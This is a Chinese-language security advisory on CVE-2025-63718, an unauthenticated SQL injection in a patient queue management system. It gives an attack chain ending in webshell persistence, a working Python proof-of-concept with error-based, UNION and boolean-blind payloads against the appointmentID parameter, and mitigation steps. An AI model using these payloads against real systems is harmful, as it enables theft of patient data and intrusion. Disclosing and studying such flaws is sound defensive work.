IPBUF安全漏洞报告
English
CVE-2025-63718 CVSS 6.5 中危

CVE-2025-63718 SourceCodester PQMS SQL注入漏洞

披露日期: 2025-11-07

漏洞信息

漏洞编号
CVE-2025-63718
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester PQMS (Patient Queue Management System) 1.0

相关标签

SQL注入CVE-2025-63718SourceCodester PQMSPatient Queue Management SystemWeb应用安全数据库漏洞无需认证PHP漏洞

漏洞概述

CVE-2025-63718是SourceCodester PQMS(患者排队管理系统)1.0版本中的一个高危SQL注入漏洞。该系统是一款用于医疗机构管理患者预约排队的PHP应用。漏洞存在于api_patient_schedule.php端点中,具体问题出在appointmentID参数的处理上。由于该参数未经过充分的输入过滤和参数化查询处理,攻击者可以通过构造恶意的SQL语句片段,实现对数据库的未授权访问和操作。此漏洞无需任何认证即可被利用,攻击者只需通过HTTP请求向受影响端点发送特制的appointmentID参数值,即可触发SQL注入。这意味着任何能够访问该Web应用的网络用户都可以尝试利用此漏洞,可能导致敏感患者数据泄露、数据库内容篡改,甚至在某些配置下实现远程代码执行。CVSS评分6.5(中等严重级别)反映了该漏洞在无需认证的情况下可被利用,但影响范围仅限于机密性和完整性,对可用性无影响。

技术细节

该SQL注入漏洞的根本原因在于api_patient_schedule.php文件中对用户输入的处理不当。开发者直接使用$_GET或$_POST方法获取appointmentID参数,并将其直接拼接到SQL查询语句中,而没有进行任何输入验证或使用参数化查询(Prepared Statements)。攻击者可以利用SQL注入技术执行以下操作:1)通过UNION SELECT提取数据库中的敏感信息,如用户凭证、管理员账号等;2)使用布尔型盲注(Boolean-based Blind SQL Injection)推断数据库内容,通过观察页面响应差异判断条件真假;3)利用时间型盲注(Time-based Blind SQL Injection),通过SLEEP()函数延迟响应来推断数据;4)通过LOAD_FILE()或INTO OUTFILE等函数读取服务器敏感文件或写入恶意文件。在实际利用中,攻击者通常会在appointmentID参数中插入类似' OR '1'='1的条件语句,或使用UNION注入技术联合恶意查询。由于系统未对SQL元字符进行过滤,特殊字符如单引号(')、双破折号(--)、分号(;)等都可以被成功传递到SQL引擎执行。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先识别目标网站,确认其运行的是SourceCodester PQMS 1.0系统,并定位api_patient_schedule.php端点
STEP 2
步骤2
漏洞探测:通过发送包含特殊字符(如单引号)的appointmentID参数,验证是否存在SQL注入漏洞,观察是否返回数据库错误信息
STEP 3
步骤3
注入类型判断:根据响应特征判断注入类型(联合注入、布尔盲注、时间盲注等),选择最适合的利用技术
STEP 4
步骤4
数据提取:利用UNION注入或盲注技术,逐步提取数据库中的敏感数据,包括用户表、管理员凭证、患者信息等
STEP 5
步骤5
权限提升:如果提取的凭证具有管理员权限,攻击者可以登录后台管理界面,进一步扩大攻击面
STEP 6
步骤6
持久化控制:通过写入Webshell或修改数据库内容,建立持久化访问通道,便于后续入侵活动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-63718 PoC - SourceCodester PQMS SQL Injection # Target: api_patient_schedule.php endpoint # Parameter: appointmentID def exploit_sqli(url, payload): """Send SQL injection payload to vulnerable endpoint""" target_url = f"{url}/api_patient_schedule.php" params = {"appointmentID": payload} try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {e}" def test_basic_injection(url): """Test basic SQL injection - error-based""" # Basic payload to trigger SQL error payload = "1'" print(f"[*] Testing basic injection with payload: {payload}") result = exploit_sqli(url, payload) print(f"[+] Response: {result[:200]}") def extract_database_version(url): """Extract database version using UNION injection""" # UNION-based injection to get database version payload = "1' UNION SELECT NULL,@@version,NULL-- -" print(f"[*] Extracting database version...") result = exploit_sqli(url, payload) print(f"[+] Database info: {result}") def extract_tables(url): """Extract table names from database""" payload = "1' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()-- -" print(f"[*] Extracting table names...") result = exploit_sqli(url, payload) print(f"[+] Tables found: {result}") def blind_boolean_injection(url): """Test blind boolean-based SQL injection""" # Test if '1'='1' is true (always) true_payload = "1' AND '1'='1" false_payload = "1' AND '1'='2" print(f"[*] Testing boolean-based blind injection...") true_result = exploit_sqli(url, true_payload) false_result = exploit_sqli(url, false_payload) if len(true_result) != len(false_result): print("[+] Blind SQL injection confirmed!") else: print("[-] No difference detected") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-63718.py <target_url>") print("Example: python cve-2025-63718.py http://localhost/pqms") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Target: {target}") print(f"[*] CVE-2025-63718 SQL Injection PoC") print("=" * 50) test_basic_injection(target) blind_boolean_injection(target) # Uncomment to extract actual data # extract_database_version(target) # extract_tables(target)

影响范围

SourceCodester PQMS 1.0

防御指南

临时缓解措施
在官方修复补丁发布之前,建议采取以下临时缓解措施:1)使用Web应用防火墙(如ModSecurity)规则拦截可疑的SQL注入请求;2)通过.htaccess或Nginx配置限制对api_patient_schedule.php端点的访问,仅允许受信任的IP地址访问;3)在代码层面对所有用户输入进行转义处理,虽然不如参数化查询安全,但可以提供基本防护;4)禁用错误信息显示,防止攻击者通过详细错误信息了解数据库结构;5)加强对数据库和Web服务器的监控,及时发现异常查询行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表